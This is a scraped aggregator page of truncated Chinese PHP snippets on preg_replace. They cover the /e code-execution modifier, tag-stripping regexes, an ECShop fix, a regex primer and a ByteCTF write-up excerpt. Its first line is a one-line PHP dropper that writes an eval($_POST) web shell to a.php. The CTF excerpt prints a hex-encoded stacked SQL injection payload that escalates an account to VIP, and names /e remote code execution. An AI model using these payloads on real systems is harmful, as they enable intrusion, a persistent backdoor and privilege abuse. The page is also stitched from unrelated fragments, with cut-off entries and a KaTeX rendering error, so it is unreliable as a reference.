preg_replace

preg_replace

有些话、适合烂在心里 提交于 2020-02-17 05:29:53
preg_replace preg_replace 函数执行一个正则表达式的搜索和替换。 语法: preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 20: …t = -1 [, int >&̲ count ]] ) : mixed 参数: $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。 $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。 $count: 可选,为替换执行的次数。 0x01 /e修饰符 在php5+,若正则表达式pattern有/e修饰符,并且成功匹配,就会把replacement的值当作php代码执行,例如: preg_replace ( '/(abc)/e' , 'phpinfo();' , '123abc' ) ; 这种危险的做法在php5.5+会发出警告,在php7已经废除 0x02经典漏洞 <?php $str = addslashes ( $_GET [

利用正则过滤各种标签,空格,换行符的代码

故事扮演 提交于 2020-02-16 09:51:24
收集php利用正则过滤各种标签,空格,换行符的代码: 查看代码 打印 01 $str =preg_replace( "/\s+/" , " " , $str ); //过滤多余回车 02 $str =preg_replace( "/<[ ]+/si" , "<" , $str ); //过滤<__("<"号后面带空格) 03 $str =preg_replace( "/<\!–.*?–>/si" , "" , $str ); //注释 04 $str =preg_replace( "/<(\!.*?)>/si" , "" , $str ); //过滤DOCTYPE 05 $str =preg_replace( "/<(\/?html.*?)>/si" , "" , $str ); //过滤html标签 06 $str =preg_replace( "/<(\/?head.*?)>/si" , "" , $str ); //过滤head标签 07 $str =preg_replace( "/<(\/?meta.*?)>/si" , "" , $str ); //过滤meta标签 08 $str =preg_replace( "/<(\/?body.*?)>/si" , "" , $str ); //过滤body标签 09 $str =preg_replace( "/<(\/?link

刷题记录:[ByteCTF 2019]BabyBlog

一曲冷凌霜 提交于 2020-02-03 14:47:54
目录 知识点 二次注入+堆叠注入 php 00截断 preg_replace /e 参数RCE 管道解题读flag 题目复现链接: https://buuoj.cn/challenges 参考链接: https://eustiar.com/archives/576 ByteCTF 2019 Writeup - 天枢 知识点 二次注入+堆叠注入 注入点在edit的title ';SeT@a=0x757064617465207573657273207365742069737669703D3120776865726520757365726E616D653D277465737427;prepare execsql from @a;execute execsql;# 把自己的账号改成vip php 00截断 要求:php版本小于5.3.4 用户输入的url参数包含%00经过浏览器自动转码后截断后面字符 preg_replace /e 参数RCE $content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content'])); 从天枢那学了一招用mitmproxy解决蚁剑链接问题 from mitmproxy import http class add_request:

Ecshop及大商创198版本,解决Deprecated: preg_replace()报错

谁都会走 提交于 2020-01-14 01:36:40
一:问题原因 preg_replace() 函数中用到的修饰符 /e 在 PHP5.5.x 中已经被弃用了。 如果你的PHP版本恰好是PHP5.5.X及以上,那你的ECSHOP肯定就会报类似下面这样的错误: Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in...... 二:大商创198版本在php5.6运行(调试通过) 直接上代码 //文件includes\cls_template.php //218行修改 return preg_replace("/{([^\\}\\{\n]*)}/e", '$this->select(\'\\1\');', $source); return preg_replace_callback("/{([^\\}\\{\n]*)}/", function($r) { return $this->select($r[1]); }, $source); //372行修改 $out = "<?php \n" . '$k = ' . preg_replace('/(\\\'\\$[^,]+)/e', 'stripslashes(trim(\'\\1\',\'\\\'\'));', var_export($t, true))

PHP正则之去除括号和括号里面的内容

这一生的挚爱 提交于 2020-01-12 13:48:20
1.PHP去除花括号和花括号里面的内容 $str = 'dfsas{kslajfljs}45' ; $str = preg_replace ( '/\{(.*?)\}/' , '' , $str ) ; echo $str ; 2.PHP去除括号和括号里面的内容 $str = '9(kslajflj)s45' ; $str = preg_replace ( '/\(.*?\)/' , '' , $str ) ; echo $str ; exit ; 3.PHP去除尖括号和尖括号里面的内容 $str = '9sfa<kslj>s45' ; $str = preg_replace ( '/\<.*?\>/' , '' , $str ) ; echo $str ; exit ; 4.PHP去除中括号和中括号里面的内容 $str = '9sfa[ksl64546+j]s45' ; $str = preg_replace ( '/\[.*?\]/' , '' , $str ) ; echo $str ; exit ; 注意 :主要看正则的表达式,根据表达式来灵活改变 来源: CSDN 作者: 小白的程序猿 链接: https://blog.csdn.net/Hjingeng/article/details/103764818

织梦手机站去除文章内容中图片的宽高达到自适应+绝对路径图片

廉价感情. 提交于 2019-12-30 14:07:27
大部分手机站都是自适应的,这样图片就不能有宽高限制,我们添加文章图片时很多时候都会有width height style这些属性在里面,在手机站上要把它们清除并且让图片和附件都使用上绝对路径,又不能影响电脑站的,不修改程序内核文件,我们可以在手机版内容页模板里, 把手机站 内容页模板 把调用文章内容的标签,找到 {dede:field.body/} 改成 {dede:field.body runphp=yes} global $cfg_basehost; $str = @me; $search = '/(<img.*?)width=(["\'])?.*?(?(2)\2|\s)([^>]+>)/is'; $search1 = '/(<img.*?)height=(["\'])?.*?(?(2)\2|\s)([^>]+>)/is'; $search2 = '#(<img.*?style=".*?)width:\s{0,}\d+px;([^"]*?.*?>)#i'; $search3 = '#(<img.*?style=".*?)height:\s{0,}\d+px;([^"]*?.*?>)#i'; $content = preg_replace($search,'$1$3',$str); $content = preg_replace($search1,'$1$3',$content)

正则表达式入门

こ雲淡風輕ζ 提交于 2019-12-30 09:10:04
JavaScript 中使用 正则对象使用 1. 声明正则表达式对象=匹配模式 2. 调用方法传参 正则对象的两个方法 1 regular.exec(str) 2 regular.test(str) 3 var str='ssfdsf'; 4 var reg=/66/; 5 reg.test(str); String 字符串方式使用 1 search(reg); RETURN 匹配起始位置,如未找到,返回-1 2 match(reg); RETURN 匹配的数组 3 replace(reg,'替换后的字符串'); RETURN 替换后的新字符串 4 split(reg); RETURN 以指定模式的字符分割字符串,返回数组 子表达式 通过一对圆括号括起来的内容,就称为子表达式 捕获 运行过程中,子表达式所匹配到的内容会被系统放入缓冲区中 反向引用 通过\n (0<n) 来引入缓冲区中的内容 例如:   查找 1221,1881 var reg=/(\d)(\d)\2\1/   查找 2233,7788 var reg=/(\d)\1(\d)\2/ 1 案例: 2 1. 获取所有HTML代码 3 var reg=/<(.*)>.*<\/\1>/gi 4 2. 替换手机号 5 var reg=/\d{3}\d{4}\d{4}/gi; 6 var str=13333333333; str

php后门屌炸天

回眸只為那壹抹淺笑 提交于 2019-12-28 08:47:14
fputs(fopen('a.php','w'),' <?php eval($_POST[cc])?> '); php后门有很多,包子也见多了和玩多了,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码。 事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。 后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。 哈哈,遇到小黑蛮细心的。 然后通过分析发现,小黑的访问的文件发现代码: @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”); 如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。 preg_replace函数原型: mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 特别说明: /e 修正符使 preg

15个实用的PHP正则表达式

牧云@^-^@ 提交于 2019-12-17 12:15:55
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 对于开发人员来说,正则表达式是一个非常有用的功能,它提供了 查找,匹配,替换 句子,单词,或者其他格式的字符串。这篇文章主要介绍了15个超实用的php正则表达式,需要的朋友可以参考下。 在这篇文章里,我已经编写了15个超有用的正则表达式,WEB开发人员都应该将它收藏到自己的工具包。验证域名检验一个字符串是否是个有效域名。 $url = "http://komunitasweb.com/" ; if (preg_match( '/^(http|https|ftp)://([A-Z0-9][A-Z0-9_-]*(?:.[A-Z0-9][A-Z0-9_-]*)+):?(d+)?/?/i' , $url )) { echo "Your url is ok." ; } else { echo "Wrong url." ; } 从一个字符串中 突出某个单词 这是一个非常有用的在一个字符串中匹配出某个单词 并且突出它,非常有效的搜索结果. $text = "Sample sentence from KomunitasWeb, regex has become popular in web programming. Now we learn regex. According to wikipedia, Regular

php 重要工具函数

Deadly 提交于 2019-12-05 23:09:50
1. 字符串分隔函数 : 把src按 #分隔后放入数组 array中。 $Array = explode('#',$src); 2. 计算数组长度 count $len= count($Array); 遍历数组 for ($i=0; $i<$count; $i++) { echo Array[$i]; } 3. 创建数组函数 array(); $Myarray = array(); 4. xml 模板函数, function get_xml_str($act,$msg){ if(!$msg){ $result=0; $msg='success'; }else{ $result=$msg; $msg='error'; } $xml_str='<?xml version="1.0" encoding="UTF-8" ?>'; $xml_str.="<XXXX>"; $xml_str.="<action>$act</action>"; $xml_str.="<result>$result</result>"; $xml_str.="<msg>$msg</msg>"; $xml_str.="</XXXX>"; return $xml_str; } 5.获取IP <? function GetIP() { if ($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip =